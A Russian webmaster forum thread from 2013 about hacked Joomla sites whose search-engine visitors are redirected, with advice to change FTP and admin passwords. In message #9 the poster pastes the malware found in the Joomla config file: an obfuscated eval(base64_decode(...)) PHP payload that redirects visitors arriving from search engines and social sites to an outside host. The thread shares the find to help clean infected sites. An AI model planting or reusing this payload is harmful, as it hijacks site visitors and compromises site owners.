Помощник
|
Как защитить свой сайт? |
melihovgv_sf
|
Сообщение
#1
|
||
|
|
||
|
|||
Chudenkov |
22.1.2013, 14:41;
Ответить: Chudenkov
Сообщение
#2
|
|
melihovgv, скинь URL в личку и страницу в Яндексе, с которой происходит редирект на указанную страницу.
|
|
|
Marketologov |
22.1.2013, 15:29;
Ответить: Marketologov
Сообщение
#3
|
|
И мне.
Вприцнипе нужно устранять проблему (вирусы, левые ссылки, левые редиректы) после этого менять все доступы (фтп, админка и .т.п) убедитесь что эти доступы автоматом нигде не сохраняются. Спросите у хостеров отуда могли вирусы попасть. |
|
|
melihovgv_sf
|
Сообщение
#4
|
|
Marketologov, проверка на вирусы была, вирусов не обнаружено. Скинул урл в личку.
|
|
|
Marketologov |
22.1.2013, 17:33;
Ответить: Marketologov
Сообщение
#5
|
|
Хм странно... вообще доступы по любому нужно менять.
В .htaccess ничего лишнего не появлялось? Возможно скрипт куда нить впихнули.. в коде ничего не нашел |
|
|
Chudenkov |
22.1.2013, 18:13;
Ответить: Chudenkov
Сообщение
#6
|
|
Marketologov, чистый htaccess там. Я уже посмотрел. Там походу идет проверка на User-Agent и для определенных роботов стоит редирект или с определенных источников. Не понятно зачем, честно говоря. Врятли там вирус будет. Надо искать в файлах наличие того URL.
|
|
|
melihovgv_sf
|
Сообщение
#7
|
|
Chudenkov, в файлах или еще и в базе?
---------- Сообщение добавлено в 18:27 ---------- Предыдущее сообщение размещено в 18:26 ---------- Кстати, сравнительно недавно появилась эта ошибка. |
|
|
Chudenkov |
22.1.2013, 18:35;
Ответить: Chudenkov
Сообщение
#8
|
|
melihovgv, на чем сайт сделан? 80%, что в файлах.
|
|
|
melihovgv_sf
|
Сообщение
#9
|
|
Так как на своей цмс не было визуального редактора поставил joomla..Попробовал скачать на свой комп. Виндовс и каспер лицензия. Какой-то вирус прыгнул. Веселюсь теперь.
---------- Сообщение добавлено в 19:19 ---------- Предыдущее сообщение размещено в 18:45 ---------- 3 сайта - на joomla, 3-вируса. Весело. ---------- Сообщение добавлено в 19:28 ---------- Предыдущее сообщение размещено в 19:19 ---------- А на 4-м, где своя cms все ок. ---------- Сообщение добавлено в 19:49 ---------- Предыдущее сообщение размещено в 19:28 ---------- Если кому интересно. Полный снос joomla и в файле конфига нашел декодирование Код: Развернуть/Свернуть
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjdj1oZWFkZXJzX3NlbnQoKTsNCmlmICghJG5jY3Y
pew0KJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KJHVhPSRfU0VSVkVSWydIVFRQX1VT RVJfQUdFTlQnXTsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZ XIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlci wiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJ hcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2Vi YWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic 3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcm VmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxc P3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0c igkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQ ppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIik pewkJDQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9nMXJoLmd1Lm1hLyIpOw0KCQlleGl0KCk7DQoJ fQ0KfQ0KfQ==")); Посмотреть что написано тут http://www.base64.ru/ ---------- Сообщение добавлено в 22:51 ---------- Предыдущее сообщение размещено в 19:49 ---------- После исправления нашел статейку, более развернутую тут. |
|
|
Chudenkov |
22.1.2013, 22:56;
Ответить: Chudenkov
Сообщение
#10
|
|
|
Ну вот, я был прав. Рекомендую сменить пароль от FTP, так, на всякий случай.
|
|
|
||
|
Похожие темы
Тема | Ответов | Автор | Просмотров | Последний ответ | |
---|---|---|---|---|---|
Будет ли склейка сайтов если старый телефон перенести на новый сайт? | 2 | noviktamw | 577 | Вчера, 23:05 автор: Liudmila |
|
[Услуги] Баннер/Графика/Сайт | 241 | FillPlay | 180769 | Вчера, 15:19 автор: FillPlay |
|
Как в пушсетках покупают по 100-200 тысяч кликов за день? | 2 | Boymaster | 719 | 24.4.2024, 17:52 автор: Boymaster |
|
Ваш сайт блокирует Роскомнадзор? | 29 | hollywooduk | 6032 | 24.4.2024, 11:21 автор: hollywooduk |
|
Как вы отдыхаете от работы за компом | 151 | adw-kupon.ru | 19905 | 23.4.2024, 13:52 автор: Vmir |
Текстовая версия | Сейчас: 26.4.2024, 2:52 |